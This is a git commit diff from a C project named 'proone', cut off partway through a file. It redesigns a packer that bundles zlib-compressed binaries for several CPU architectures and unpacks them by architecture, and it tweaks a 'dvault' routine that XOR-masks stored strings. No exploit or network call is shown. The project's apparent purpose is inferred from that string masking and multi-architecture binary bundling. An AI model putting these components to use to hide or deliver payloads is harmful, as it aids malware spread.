diff options
author | David Timber <mieabby@gmail.com> | 2020-01-19 13:12:29 +1100 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-01-19 13:12:29 +1100 |
commit | d328cbbdc256197d02ec03eef0022b4122d38bb8 (patch) | |
tree | 088f711afe755ef99c28955fab716a0752e47029 /src | |
parent | a9762b186c68797c19c61bf0284a80d9bc51a2ca (diff) |
bin pack redesign. resolv bug fix
Diffstat (limited to 'src')
-rw-r--r-- | src/dvault.c | 8 | ||||
-rw-r--r-- | src/pack.c | 430 | ||||
-rw-r--r-- | src/pack.h | 66 | ||||
-rw-r--r-- | src/proone-pack.c | 178 | ||||
-rw-r--r-- | src/proone-unpack.c | 202 | ||||
-rw-r--r-- | src/proone.c | 45 | ||||
-rw-r--r-- | src/proone.h | 1 | ||||
-rw-r--r-- | src/resolv_worker.c | 8 | ||||
-rw-r--r-- | src/util_ct.h | 2 | ||||
-rw-r--r-- | src/util_rt.c | 63 | ||||
-rw-r--r-- | src/util_rt.h | 17 |
11 files changed, 636 insertions, 384 deletions
diff --git a/src/dvault.c b/src/dvault.c index eb43987..270786f 100644 --- a/src/dvault.c +++ b/src/dvault.c @@ -106,6 +106,7 @@ void prne_free_dvault_mask_result (prne_dvault_mask_result_t *r) { prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const uint8_t salt, const size_t data_size, const uint8_t *data) { size_t i; prne_dvault_mask_result_t ret; + int f_ret; prne_init_dvault_mask_result(&ret); @@ -126,14 +127,15 @@ prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const u return ret; } - sprintf(ret.str, "\\x%02X\\x%02X\\x%02X\\x%02X", + f_ret = sprintf(ret.str, "\\x%02X\\x%02X\\x%02X\\x%02X", type, salt, (int)((0xFF00 & (uint_fast16_t)data_size) >> 8), (int)((0x00FF & (uint_fast16_t)data_size) >> 0)); - + assert(f_ret > 0); for (i = 0; i < data_size; i += 1) { - sprintf(ret.str + 4 * 4 + 4 * i, "\\x%02X", data[i] ^ PRNE_DVAULT_MASK[(i + (size_t)salt) % 256]); + f_ret = sprintf(ret.str + 4 * 4 + 4 * i, "\\x%02X", data[i] ^ PRNE_DVAULT_MASK[(i + (size_t)salt) % 256]); + assert(f_ret > 0); } return ret; @@ -5,224 +5,302 @@ #include <stdint.h> #include <stdbool.h> #include <stdlib.h> +#include <stdio.h> #include <string.h> -#include <fcntl.h> -#include <unistd.h> #include <errno.h> #include <zlib.h> -#include <mbedtls/base64.h> +#include <mbedtls/error.h> + + +struct prne_unpack_ctx { + size_t end; + z_stream zs; +}; + +static int bin_tpl_comp_func (const void *a, const void *b) { + return ((const prne_bin_tuple_t*)a)->arch < ((const prne_bin_tuple_t*)b)->arch ? -1 : ((const prne_bin_tuple_t*)a)->arch > ((const prne_bin_tuple_t*)b)->arch ? 1 : 0; +} void prne_init_bin_archive (prne_bin_archive_t *a) { a->data_size = 0; a->data = NULL; - a->nb_binaries = 0; - a->arch_arr = NULL; - a->offset_arr = NULL; - a->size_arr = NULL; + a->nb_bin = 0; + a->bin = NULL; } -void prne_init_unpack_bin_archive_result (prne_unpack_bin_archive_result_t *r) { - r->data_size = 0; - r->data = NULL; - r->result = PRNE_UNPACK_BIN_ARCHIVE_OK; - r->err = 0; +void prne_free_bin_archive (prne_bin_archive_t *a) { + prne_free(a->data); + prne_free(a->bin); + a->data_size = 0; + a->data = NULL; + a->nb_bin = 0; + a->bin = NULL; } -prne_unpack_bin_archive_result_t prne_unpack_bin_archive (const int fd) { - static const size_t fd_buf_size = 77, b64_buf_size = 58, z_buf_size = 1024; - - prne_unpack_bin_archive_result_t ret; - uint8_t *mem = NULL, *fd_buf = NULL, *b64_buf = NULL, *z_buf = NULL; - int fd_read_size, fd_data_size, rem_size = 0; - int z_func_ret; - z_stream stream; - size_t dec_b64_size, z_out_size; - void *ny_buf; - bool stream_end; - - prne_init_unpack_bin_archive_result(&ret); - memzero(&stream, sizeof(z_stream)); - - mem = (uint8_t*)prne_malloc(1, fd_buf_size + b64_buf_size + z_buf_size); - if (mem == NULL) { - ret.result = PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR; +prne_pack_ret_t prne_index_bin_archive (void *rf_ctx, prne_bin_archive_read_ft rf, prne_bin_archive_t *out) { + prne_pack_ret_t ret; + uint8_t *data = NULL; + prne_bin_tuple_t *bin = NULL; + size_t i, r_len, pos = 0, data_size = 0, nb_bin = 0; + uint8_t head[4]; + void *ny_mem; + const size_t pagesize = prne_getpagesize(); + + r_len = 0; + ret = rf(rf_ctx, 1, head, &r_len); + if (ret.rc != PRNE_PACK_RC_OK) { + goto ERR; + } + if (r_len != 1) { + ret.rc = PRNE_PACK_RC_FMT_ERR; + goto ERR; + } + + nb_bin = head[0]; + bin = (prne_bin_tuple_t*)prne_malloc(sizeof(prne_bin_tuple_t), nb_bin); + if (bin == NULL) { + ret.rc = PRNE_PACK_RC_ERRNO; ret.err = errno; - goto END; + goto ERR; } - fd_buf = mem; - b64_buf = mem + fd_buf_size; - z_buf = mem + fd_buf_size + b64_buf_size; + for (i = 0; i < nb_bin; i += 1) { + r_len = 0; + ret = rf(rf_ctx, 4, head, &r_len); + if (ret.rc != PRNE_PACK_RC_OK) { + goto ERR; + } + if (r_len != 4) { + ret.rc = PRNE_PACK_RC_FMT_ERR; + goto ERR; + } - z_func_ret = inflateInit(&stream); - if (z_func_ret != Z_OK) { - ret.result = PRNE_UNPACK_BIN_ARCHIVE_Z_ERR; - ret.err = z_func_ret; - goto END; + bin[i].arch = (prne_arch_t)head[0]; + bin[i].offset = pos; + pos += bin[i].size = ((size_t)head[1] << 16) | ((size_t)head[2] << 8) | ((size_t)head[3]); } - stream_end = false; + pos = 0; do { - fd_read_size = read(fd, fd_buf + rem_size, fd_buf_size - rem_size); - if (fd_read_size < 0) { - ret.result = PRNE_UNPACK_BIN_ARCHIVE_ERRNO; + ny_mem = prne_realloc(data, 1, pos + pagesize); + if (ny_mem == NULL) { + ret.rc = PRNE_PACK_RC_ERRNO; ret.err = errno; - goto END; - } - if (fd_read_size == 0) { - break; + goto ERR; } - fd_read_size += rem_size; - - fd_read_size = fd_data_size = prne_str_shift_spaces((char*)fd_buf, (size_t)fd_read_size); - fd_data_size = fd_data_size / 4 * 4; - rem_size = fd_read_size - fd_data_size; - - if (fd_data_size > 0) { - ret.err = mbedtls_base64_decode(b64_buf, b64_buf_size, &dec_b64_size, fd_buf, fd_data_size); - if (ret.err != 0) { - ret.result = PRNE_UNPACK_BIN_ARCHIVE_CRYPTO_ERR; - } - - if (dec_b64_size > 0) { - stream.avail_in = dec_b64_size; - stream.next_in = b64_buf; - do { - stream.avail_out = z_buf_size; - stream.next_out = z_buf; - z_func_ret = inflate(&stream, Z_NO_FLUSH); - switch (z_func_ret) { - case Z_STREAM_END: - stream_end = true; - break; - case Z_OK: - case Z_BUF_ERROR: - break; - default: - ret.result = PRNE_UNPACK_BIN_ARCHIVE_Z_ERR; - ret.err = z_func_ret; - goto END; - } - - z_out_size = z_buf_size - stream.avail_out; - if (z_out_size > 0) { - ny_buf = prne_realloc(ret.data, 1, ret.data_size + z_out_size); - if (ny_buf == NULL) { - ret.result = PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR; - ret.err = errno; - break; - } - ret.data = (uint8_t*)ny_buf; - - memcpy(ret.data + ret.data_size, z_buf, z_out_size); - ret.data_size += z_out_size; - } - } while (stream.avail_out == 0); - } + data = (uint8_t*)ny_mem; + + ret = rf(rf_ctx, pagesize, data + pos, &r_len); + if (ret.rc != PRNE_PACK_RC_OK) { + goto ERR; } + data_size += r_len; + pos += pagesize; + } while (r_len == pagesize); + ny_mem = prne_realloc(data, 1, data_size); + if (ny_mem == NULL) { + ret.rc = PRNE_PACK_RC_ERRNO; + ret.err = errno; + goto ERR; + } + data = (uint8_t*)ny_mem; + + qsort(bin, nb_bin, sizeof(prne_bin_tuple_t), bin_tpl_comp_func); + out->data = data; + out->data_size = data_size; + out->nb_bin = nb_bin; + out->bin = bin; + + return ret; +ERR: + prne_free(bin); + prne_free(data); + + return ret; +} - memmove(fd_buf, fd_buf + fd_data_size, rem_size); - } while (!stream_end); +prne_unpack_ctx_pt prne_alloc_unpack_ctx (const prne_bin_archive_t *archive, const prne_arch_t arch, prne_pack_ret_t *pr_out) { + prne_bin_tuple_t main_tpl; + prne_bin_tuple_t *tpl; + prne_unpack_ctx_pt ret = NULL; + uint8_t buf[4096]; + size_t i, cnt; + prne_pack_ret_t pr; - if (ret.data_size == 0) { - ret.result = PRNE_UNPACK_BIN_ARCHIVE_FMT_ERR; + pr.rc = PRNE_PACK_RC_OK; + pr.err = 0; + + main_tpl.arch = arch; + tpl = (prne_bin_tuple_t*)bsearch(&main_tpl, archive->bin, archive->nb_bin, sizeof(prne_bin_tuple_t), bin_tpl_comp_func); + if (tpl == NULL) { + pr.rc = PRNE_PACK_RC_NO_BIN; + goto ERR; } + main_tpl = *tpl; -END: - prne_free(mem); - if (ret.result != PRNE_UNPACK_BIN_ARCHIVE_OK) { - prne_free(ret.data); - ret.data = NULL; - ret.data_size = 0; + ret = (prne_unpack_ctx_pt)prne_malloc(sizeof(struct prne_unpack_ctx), 1); + if (ret == NULL) { + pr.rc = PRNE_PACK_RC_ERRNO; + pr.err = errno; + goto ERR; + } + memzero(&ret->zs, sizeof(ret->zs)); + if (Z_OK != (pr.err = inflateInit(&ret->zs))) { + prne_free(ret); + ret = NULL; + + pr.rc = PRNE_PACK_RC_Z_ERR; + goto ERR; } - inflateEnd(&stream); + ret->zs.avail_in = archive->data_size; + ret->zs.next_in = archive->data; + cnt = main_tpl.offset / sizeof(buf); + for (i = 0; i < cnt; i += 1) { + ret->zs.avail_out = sizeof(buf); + ret->zs.next_out = buf; + switch (inflate(&ret->zs, Z_SYNC_FLUSH)) { + case Z_OK: + case Z_BUF_ERROR: + break; + default: + pr.rc = PRNE_PACK_RC_FMT_ERR; + goto ERR; + } + if (ret->zs.avail_out != 0) { + pr.rc = PRNE_PACK_RC_FMT_ERR; + goto ERR; + } + } + + ret->zs.avail_out = main_tpl.offset - cnt * sizeof(buf); + ret->zs.next_out = buf; + switch (inflate(&ret->zs, Z_SYNC_FLUSH)) { + case Z_OK: + case Z_BUF_ERROR: + break; + default: + pr.rc = PRNE_PACK_RC_FMT_ERR; + goto ERR; + } + if (ret->zs.total_out != main_tpl.offset) { + pr.rc = PRNE_PACK_RC_FMT_ERR; + goto ERR; + } + + ret->end = main_tpl.offset + main_tpl.size; + if (pr_out != NULL) { + *pr_out = pr; + } return ret; +ERR: + if (ret != NULL) { + inflateEnd(&ret->zs); + prne_free(ret); + } + if (pr_out != NULL) { + *pr_out = pr; + } + + return NULL; } -prne_index_bin_archive_result_code_t prne_index_bin_archive (prne_unpack_bin_archive_result_t *in, prne_bin_archive_t *out) { - prne_index_bin_archive_result_code_t ret = PRNE_INDEX_BIN_ARCHIVE_OK; - size_t buf_pos = 0, arr_cnt = 0, offset_arr[NB_PRNE_ARCH], size_arr[NB_PRNE_ARCH]; - prne_arch_t arch; - uint_fast32_t bin_size; - prne_arch_t arch_arr[NB_PRNE_ARCH]; - prne_bin_archive_t archive; - - memzero(arch_arr, sizeof(prne_arch_t) * NB_PRNE_ARCH); - memzero(offset_arr, sizeof(size_t) * NB_PRNE_ARCH); - memzero(size_arr, sizeof(size_t) * NB_PRNE_ARCH); - prne_init_bin_archive(&archive); +void prne_free_unpack_ctx (prne_unpack_ctx_pt ctx) { + if (ctx != NULL) { + inflateEnd(&ctx->zs); + prne_free(ctx); + } +} - do { - if (buf_pos + 4 >= in->data_size || arr_cnt >= NB_PRNE_ARCH) { - ret = PRNE_INDEX_BIN_ARCHIVE_FMT_ERR; - goto END; - } +ssize_t prne_do_unpack (prne_unpack_ctx_pt ctx, uint8_t *out, const size_t out_len, prne_pack_ret_t *pr_out) { + const size_t rem = ctx->end - ctx->zs.total_out; + const size_t req = prne_op_min(rem, out_len); + prne_pack_ret_t pr; - arch = (prne_arch_t)in->data[buf_pos]; - bin_size = - ((uint_fast32_t)in->data[buf_pos + 1] << 16) | - ((uint_fast32_t)in->data[buf_pos + 2] << 8) | - (uint_fast32_t)in->data[buf_pos + 3]; - if (prne_arch_tostr(arch) == NULL || bin_size == 0 || buf_pos + 4 + bin_size > in->data_size) { - ret = PRNE_INDEX_BIN_ARCHIVE_FMT_ERR; - goto END; - } + pr.rc = PRNE_PACK_RC_OK; + pr.err = 0; - arch_arr[arr_cnt] = arch; - offset_arr[arr_cnt] = 4 + buf_pos; - size_arr[arr_cnt] = bin_size; - arr_cnt += 1; - - buf_pos += 4 + bin_size; - } while (buf_pos < in->data_size); - - archive.arch_arr = (prne_arch_t*)prne_malloc(sizeof(prne_arch_t), arr_cnt); - archive.offset_arr = (size_t*)prne_malloc(sizeof(size_t), arr_cnt); - archive.size_arr = (size_t*)prne_malloc(sizeof(size_t), arr_cnt); - if (archive.arch_arr == NULL || archive.offset_arr == NULL || archive.size_arr == NULL) { - ret = PRNE_INDEX_BIN_ARCHIVE_MEM_ERR; - goto END; + if (req == 0) { + return 0; } - archive.data_size = in->data_size; - archive.data = in->data; - archive.nb_binaries = arr_cnt; - memcpy(archive.arch_arr, arch_arr, arr_cnt * sizeof(prne_arch_t)); - memcpy(archive.offset_arr, offset_arr, arr_cnt * sizeof(size_t)); - memcpy(archive.size_arr, size_arr, arr_cnt * sizeof(size_t)); - - in->data = NULL; - in->data_size = 0; - *out = archive; + ctx->zs.next_out = out; + ctx->zs.avail_out = req; + switch ((pr.err = inflate(&ctx->zs, Z_SYNC_FLUSH))) { + case Z_OK: + case Z_STREAM_END: + case Z_BUF_ERROR: + pr.err = 0; + break; + default: + pr.rc = PRNE_PACK_RC_Z_ERR; + goto END; + } + if (ctx->zs.avail_out != 0) { + pr.rc = PRNE_PACK_RC_FMT_ERR; + goto END; + } END: - if (ret != PRNE_INDEX_BIN_ARCHIVE_OK) { - prne_free_bin_archive(&archive); + if (pr_out != NULL) { + *pr_out = pr; + } + if (pr.rc != PRNE_PACK_RC_OK) { + return -1; } - return ret; + return req; } -void prne_free_unpack_bin_archive_result (prne_unpack_bin_archive_result_t *r) { - prne_free(r->data); - r->data = NULL; - r->data_size = 0; - r->result = PRNE_INDEX_BIN_ARCHIVE_OK; - r->err = 0; -} +char *prne_pack_ret_tostr (const prne_pack_ret_t pr) { + const char *rc_str; + const char *err_str; + char *buf = NULL, err_buf[31]; + size_t buf_size; -void prne_free_bin_archive (prne_bin_archive_t *a) { - prne_free(a->data); - prne_free(a->arch_arr); - prne_free(a->offset_arr); - prne_free(a->size_arr); - a->nb_binaries = 0; - a->data = NULL; - a->data_size = 0; - a->arch_arr = NULL; - a->offset_arr = NULL; - a->size_arr = NULL; + switch (pr.rc) { + case PRNE_PACK_RC_OK: rc_str = "ok"; break; + case PRNE_PACK_RC_FMT_ERR: rc_str = "fmt err"; break; + case PRNE_PACK_RC_NO_BIN: rc_str = "no bin"; break; + default: rc_str = NULL; + } + if (rc_str != NULL) { + buf_size = strlen(rc_str) + 1; + buf = (char*)prne_malloc(1, buf_size); + if (buf != NULL) { + memcpy(buf, rc_str, buf_size); + } + return buf; + } + + switch (pr.rc) { + case PRNE_PACK_RC_ERRNO: + rc_str = "errno"; + err_str = strerror(pr.err); + break; + case PRNE_PACK_RC_Z_ERR: + rc_str = "zlib err"; + err_str = zError(pr.err); + break; + case PRNE_PACK_RC_MBEDTLS_ERR: + rc_str = "mbedtls err"; + mbedtls_strerror(pr.err, err_buf, sizeof(err_buf)); + err_str = err_buf; + break; + default: + errno = EINVAL; + return NULL; + } + + buf_size = strlen(rc_str) + 4 + 11 + 1 + strlen(err_str) + 1; + buf = (char*)prne_malloc(1, buf_size); + if (buf != NULL) { + if (sprintf(buf, "%s - (%d)%s", rc_str, pr.err, err_str) < 0) { + prne_free(buf); + return NULL; + } + } + return buf; } @@ -4,45 +4,51 @@ #include "protocol.h" - +struct prne_bin_tuple; +struct prne_bin_archive; +struct prne_pack_ret; +struct prne_unpack_ctx; +typedef struct prne_bin_tuple prne_bin_tuple_t; typedef struct prne_bin_archive prne_bin_archive_t; -typedef struct prne_unpack_bin_archive_result prne_unpack_bin_archive_result_t; +typedef struct prne_pack_ret prne_pack_ret_t; +typedef struct prne_unpack_ctx* prne_unpack_ctx_pt; + +typedef enum { + PRNE_PACK_RC_OK, + PRNE_PACK_RC_FMT_ERR, + PRNE_PACK_RC_ERRNO, + PRNE_PACK_RC_Z_ERR, + PRNE_PACK_RC_MBEDTLS_ERR, + PRNE_PACK_RC_NO_BIN, +} prne_pack_rc_t; + +struct prne_bin_tuple { + prne_arch_t arch; + size_t offset; + size_t size; +}; struct prne_bin_archive { - size_t data_size; uint8_t *data; - size_t nb_binaries; - prne_arch_t *arch_arr; - size_t *offset_arr; - size_t *size_arr; + size_t data_size; + size_t nb_bin; + prne_bin_tuple_t *bin; }; -typedef enum { - PRNE_UNPACK_BIN_ARCHIVE_OK, - PRNE_UNPACK_BIN_ARCHIVE_CRYPTO_ERR, - PRNE_UNPACK_BIN_ARCHIVE_Z_ERR, - PRNE_UNPACK_BIN_ARCHIVE_ERRNO, - PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR, - PRNE_UNPACK_BIN_ARCHIVE_FMT_ERR -} prne_unpack_bin_archive_result_code_t; - -struct prne_unpack_bin_archive_result { - size_t data_size; - uint8_t *data; - prne_unpack_bin_archive_result_code_t result; - long err; +struct prne_pack_ret { + prne_pack_rc_t rc; + int err; }; -typedef enum { - PRNE_INDEX_BIN_ARCHIVE_OK, - PRNE_INDEX_BIN_ARCHIVE_FMT_ERR, - PRNE_INDEX_BIN_ARCHIVE_MEM_ERR -} prne_index_bin_archive_result_code_t; +typedef prne_pack_ret_t(*prne_bin_archive_read_ft)(void *ctx, const size_t req, uint8_t *out, size_t *out_len); void prne_init_bin_archive (prne_bin_archive_t *a); -void prne_init_unpack_bin_archive_result (prne_unpack_bin_archive_result_t *r); -prne_unpack_bin_archive_result_t prne_unpack_bin_archive (const int fd); -prne_index_bin_archive_result_code_t prne_index_bin_archive (prne_unpack_bin_archive_result_t *in, prne_bin_archive_t *out); -void prne_free_unpack_bin_archive_result (prne_unpack_bin_archive_result_t *r); void prne_free_bin_archive (prne_bin_archive_t *a); +prne_pack_ret_t prne_index_bin_archive (void *rf_ctx, prne_bin_archive_read_ft rf, prne_bin_archive_t *out); + +prne_unpack_ctx_pt prne_alloc_unpack_ctx (const prne_bin_archive_t *archive, const prne_arch_t arch, prne_pack_ret_t *pr_out); +void prne_free_unpack_ctx (prne_unpack_ctx_pt ctx); +ssize_t prne_do_unpack (prne_unpack_ctx_pt ctx, uint8_t *out, const size_t out_len, prne_pack_ret_t *pr_out); + +char *prne_pack_ret_tostr (const prne_pack_ret_t pr); diff --git a/src/proone-pack.c b/src/proone-pack.c index 8384fb1..95c8ab8 100644 --- a/src/proone-pack.c +++ b/src/proone-pack.c @@ -8,30 +8,42 @@ #include <errno.h> #include <sys/types.h> #include <sys/stat.h> -#include <sys/sendfile.h> #include <fcntl.h> +#include <zlib.h> + #include "util_rt.h" #include "util_ct.h" #include "protocol.h" +typedef struct { + prne_arch_t arch; + const char *path; + struct stat st; +} archive_tuple_t; + +uint8_t buf_in[16384], buf_out[16384]; +const archive_tuple_t *encounter_arr[NB_PRNE_ARCH]; +archive_tuple_t archive_arr[NB_PRNE_ARCH]; +size_t archive_arr_cnt = 0; + +static void report_zerror (const int z_ret, const char *msg) { + fprintf(stderr, "%s: (%d)%s\n", msg, z_ret, zError(z_ret)); +} + int main (const int argc, const char **args) { - typedef struct { - prne_arch_t arch; - const char *path; - } archive_tuple_t; size_t i; - const archive_tuple_t *encounter_arr[NB_PRNE_ARCH]; - archive_tuple_t archive_arr[NB_PRNE_ARCH]; archive_tuple_t *archive; - size_t archive_arr_cnt = 0; const char *path, *ext; bool proc_result = true; prne_arch_t arch; int bin_fd = -1; - struct stat st; uint8_t head[4]; + int z_ret; + z_stream zs; + ssize_t io_ret; + size_t out_len; if (argc <= 1) { fprintf(stderr, "Usage: %s <path to binary 1> [path to binary 2 [path to binary ...]]\n", args[0]); @@ -51,11 +63,18 @@ int main (const int argc, const char **args) { // init memzero(encounter_arr, sizeof(archive_tuple_t*) * NB_PRNE_ARCH); memzero(archive_arr, sizeof(archive_tuple_t) * NB_PRNE_ARCH); + memzero(&zs, sizeof(z_stream)); + + if ((z_ret = deflateInit(&zs, Z_BEST_COMPRESSION)) != Z_OK) { + report_zerror(z_ret, "deflateInit()"); + abort(); + } // Check the file names are valid for (i = 1; i < (size_t)argc; i += 1) { - path = args[i]; + struct stat st; + path = args[i]; ext = strrchr(path, '.'); if (ext == NULL) { fprintf(stderr, "** %s: file extension not found\n", path); @@ -77,71 +96,134 @@ int main (const int argc, const char **args) { continue; } + if (stat(path, &st) != 0) { + perror(path); + proc_result = false; + continue; + } + if (st.st_size <= 0) { + fprintf(stderr, "%s: empty file!\n", path); + proc_result = false; + continue; + } + if (st.st_ino > 0x00FFFFFF) { + fprintf(stderr, "%s: file too large!\n", path); + proc_result = false; + continue; + } + archive_arr[archive_arr_cnt].arch = arch; archive_arr[archive_arr_cnt].path = path; + archive_arr[archive_arr_cnt].st = st; encounter_arr[arch] = &archive_arr[archive_arr_cnt]; archive_arr_cnt += 1; } if (!proc_result) { - return 1; + goto END; } - // do packing - fprintf(stderr, archive_arr_cnt == NB_PRNE_ARCH ? "Packing %zu binaries.\n" : "* Warning: packing only %zu binaries\n", archive_arr_cnt); + // write head + head[0] = (uint8_t)(archive_arr_cnt & 0x000000FF); + if (write(STDOUT_FILENO, head, 1) != 1) { + perror("write()"); + proc_result = false; + goto END; + } for (i = 0; i < archive_arr_cnt; i += 1) { - archive = &archive_arr[i]; - fprintf(stderr, "Packing: %s ...\n", archive->path); + archive = archive_arr + i; - bin_fd = open(archive->path, O_RDONLY); - if (bin_fd < 0) { - perror("** open()"); + head[0] = (uint8_t)archive->arch; + head[1] = (uint8_t)(((uint_fast32_t)archive->st.st_size & 0x00FF0000) >> 16); + head[2] = (uint8_t)(((uint_fast32_t)archive->st.st_size & 0x0000FF00) >> 8); + head[3] = (uint8_t)((uint_fast32_t)archive->st.st_size & 0x000000FF); + if (write(STDOUT_FILENO, head, 4) != 4) { + perror("write()"); proc_result = false; + goto END; break; } + } - // get size - if (fstat(bin_fd, &st) != 0) { - perror("** fstat()"); + // write binary + for (i = 0; i < archive_arr_cnt; i += 1) { + archive = archive_arr + i; + + bin_fd = open(archive->path, O_RDONLY); + if (bin_fd < 0) { + perror(archive->path); proc_result = false; - break; + goto END; } - if (st.st_size == 0) { - fprintf(stderr, "** empty file!\n"); - proc_result = false; - break; + + while (true) { + io_ret = read(bin_fd, buf_in, sizeof(buf_in)); + if (io_ret == 0) { + break; + } + if (io_ret < 0) { + perror(archive->path); + proc_result = false; + goto END; + } + + zs.avail_in = io_ret; + zs.next_in = buf_in; + do { + zs.avail_out = sizeof(buf_out); + zs.next_out = buf_out; + z_ret = deflate(&zs, Z_NO_FLUSH); + switch (z_ret) { + case Z_BUF_ERROR: + case Z_OK: + break; + default: + report_zerror(z_ret, archive->path); + proc_result = false; + goto END; + } + out_len = sizeof(buf_out) - zs.avail_out; + + if (write(STDOUT_FILENO, buf_out, out_len) != (ssize_t)out_len) { + perror("write()"); + proc_result = false; + goto END; + } + } while (zs.avail_out == 0); } - if (st.st_size > 0x00FFFFFE) { - fprintf(stderr, "** binary too large!\n"); + + prne_close(bin_fd); + bin_fd = -1; + } + + zs.next_in = NULL; + zs.avail_in = 0; + do { + zs.next_out = buf_out; + zs.avail_out = sizeof(buf_out); + z_ret = deflate(&zs, Z_FINISH); + switch (z_ret) { + case Z_BUF_ERROR: + case Z_STREAM_END: + case Z_OK: + break; + default: + report_zerror(z_ret, "finishing deflate()"); proc_result = false; break; } + out_len = sizeof(buf_out) - zs.avail_out; - // write head - head[0] = (uint8_t)archive->arch; - // endian conversion as the file is big endian - head[1] = (uint8_t)(((uint_fast32_t)st.st_size & 0x00FF0000) >> 16); - head[2] = (uint8_t)(((uint_fast32_t)st.st_size & 0x0000FF00) >> 8); - head[3] = (uint8_t)((uint_fast32_t)st.st_size & 0x000000FF); - if (write(STDOUT_FILENO, head, 4) != 4) { + if (write(STDOUT_FILENO, buf_out, out_len) != (ssize_t)out_len) { perror("write()"); proc_result = false; break; } - - // write binary - if (sendfile(STDOUT_FILENO, bin_fd, NULL, st.st_size) < 0) { - perror("** sendfile()"); - proc_result = false; - break; - } - - prne_close(bin_fd); - bin_fd = -1; - } + } while (zs.avail_out == 0); +END: + deflateEnd(&zs); prne_close(bin_fd); bin_fd = -1; - errno = 0; - return proc_result ? 0 : 2; + return proc_result ? 0 : 1; } diff --git a/src/proone-unpack.c b/src/proone-unpack.c index ff08e48..d7787a8 100644 --- a/src/proone-unpack.c +++ b/src/proone-unpack.c @@ -5,146 +5,144 @@ #include <unistd.h> #include <fcntl.h> - -#include <zlib.h> -#include <mbedtls/error.h> +#include <sys/mman.h> #include "pack.h" #include "util_rt.h" +#define USE_MMAP 1 -static void report_unpack_bin_archive_err (const prne_unpack_bin_archive_result_t *r) { - const char *err_str, *err_msg = NULL; - char err_buf[1024]; - - switch (r->result) { - case PRNE_UNPACK_BIN_ARCHIVE_OK: - err_str = "ok"; - break; - case PRNE_UNPACK_BIN_ARCHIVE_CRYPTO_ERR: - err_str = "crypto error"; - mbedtls_strerror(r->err, err_buf, 1024); - err_msg = err_buf; - break; - case PRNE_UNPACK_BIN_ARCHIVE_Z_ERR: - err_str = "zlib error"; - err_msg = zError((int)r->err); - break; - case PRNE_UNPACK_BIN_ARCHIVE_ERRNO: - err_str = "errno"; - err_msg = strerror((int)r->err); - break; - case PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR: - err_str = "memory error"; - err_msg = strerror((int)r->err); - break; - case PRNE_UNPACK_BIN_ARCHIVE_FMT_ERR: - err_str = "format error"; - break; - default: - err_str = "* unknown"; - } - - if (err_msg == NULL) { - fprintf(stderr, "%s.\n", err_str); - } - else { - fprintf(stderr, "%s: %s\n", err_str, err_msg); - } -} -static void report_index_bin_archive_err (const prne_index_bin_archive_result_code_t c) { - const char *msg; - - switch (c) { - case PRNE_INDEX_BIN_ARCHIVE_OK: - msg = "ok"; break; - case PRNE_INDEX_BIN_ARCHIVE_FMT_ERR: - msg = "format error"; break; - case PRNE_INDEX_BIN_ARCHIVE_MEM_ERR: - msg = "memory error"; break; - default: - msg = "* unknown"; break; - } +static void report_pack_ret (const prne_pack_ret_t pr) { + char *str = prne_pack_ret_tostr(pr); - fprintf(stderr, "%s.\n", msg); + fprintf(stderr, "%s\n", str); + prne_free(str); } + int main (const int argc, const char **args) { int exit_code = 0; const char *path_prefix; size_t path_prefix_len; - prne_unpack_bin_archive_result_t unpack_ret; + prne_stdin_base64_rf_ctx_t rf_ctx; prne_bin_archive_t bin_archive; - prne_index_bin_archive_result_code_t index_ret; + prne_pack_ret_t pr; size_t i; const char *arch_str; char *path = NULL; size_t path_size; void *ny_buf; int fd = -1; + prne_unpack_ctx_pt unpack_ctx = NULL; +#if USE_MMAP + void *addr = NULL; +#else + uint8_t write_buf[512]; + ssize_t write_len; +#endif if (argc <= 1) { fprintf(stderr, "Usage: %s <prefix>\n", args[0]); - return 1; + return 2; } path_prefix = args[1]; path_prefix_len = strlen(path_prefix); prne_init_bin_archive(&bin_archive); + prne_init_stdin_base64_rf_ctx(&rf_ctx); + + pr = prne_index_bin_archive(&rf_ctx, prne_stdin_base64_rf, &bin_archive); + if (pr.rc != PRNE_PACK_RC_OK) { + report_pack_ret(pr); + exit_code = 1; + goto END; + } + + for (i = 0; i < bin_archive.nb_bin; i += 1) { + arch_str = prne_arch_tostr(bin_archive.bin[i].arch); + if (arch_str == NULL) { + fprintf(stderr, "** unrecognised arch!"); + exit_code = 1; + goto END; + } - do { // fake loop - unpack_ret = prne_unpack_bin_archive(STDIN_FILENO); - if (unpack_ret.result != PRNE_UNPACK_BIN_ARCHIVE_OK) { - report_unpack_bin_archive_err(&unpack_ret); - exit_code = 2; - break; + unpack_ctx = prne_alloc_unpack_ctx(&bin_archive, bin_archive.bin[i].arch, &pr); + if (unpack_ctx == NULL) { + report_pack_ret(pr); + exit_code = 1; + goto END; + } + + path_size = 2 + path_prefix_len + strlen(arch_str); + ny_buf = prne_realloc(path, 1, path_size); + if (ny_buf == NULL) { + perror("prne_realloc()"); + exit_code = 1; + goto END; + } + path = (char*)ny_buf; + if (sprintf(path, "%s.%s", path_prefix, arch_str) < 0) { + perror("sprintf()"); + exit_code = 1; + goto END; } - index_ret = prne_index_bin_archive(&unpack_ret, &bin_archive); - if (index_ret != PRNE_INDEX_BIN_ARCHIVE_OK) { - report_index_bin_archive_err(index_ret); - exit_code = 2; - break; + fd = open(path, O_CREAT | O_RDWR | O_TRUNC, 0666); + if (fd < 0) { + perror("open()"); + exit_code = 1; + goto END; + } +#if USE_MMAP + if (ftruncate(fd, bin_archive.bin[i].size) != 0) { + perror("ftruncate()"); + exit_code = 1; + goto END; + } + addr = mmap(NULL, bin_archive.bin[i].size, PROT_WRITE, MAP_SHARED, fd, 0); + if (addr == MAP_FAILED) { + perror("mmap()"); + exit_code = 1; + goto END; } - for (i = 0; i < bin_archive.nb_binaries; i += 1) { - arch_str = prne_arch_tostr(bin_archive.arch_arr[i]); - if (arch_str == NULL) { - fprintf(stderr, "** unrecognised arch!"); - exit_code = 2; - break; - } - - path_size = 2 + path_prefix_len + strlen(arch_str); - ny_buf = prne_realloc(path, 1, path_size); - if (ny_buf == NULL) { - perror("prne_realloc()"); - exit_code = 2; - break; - } - path = (char*)ny_buf; - 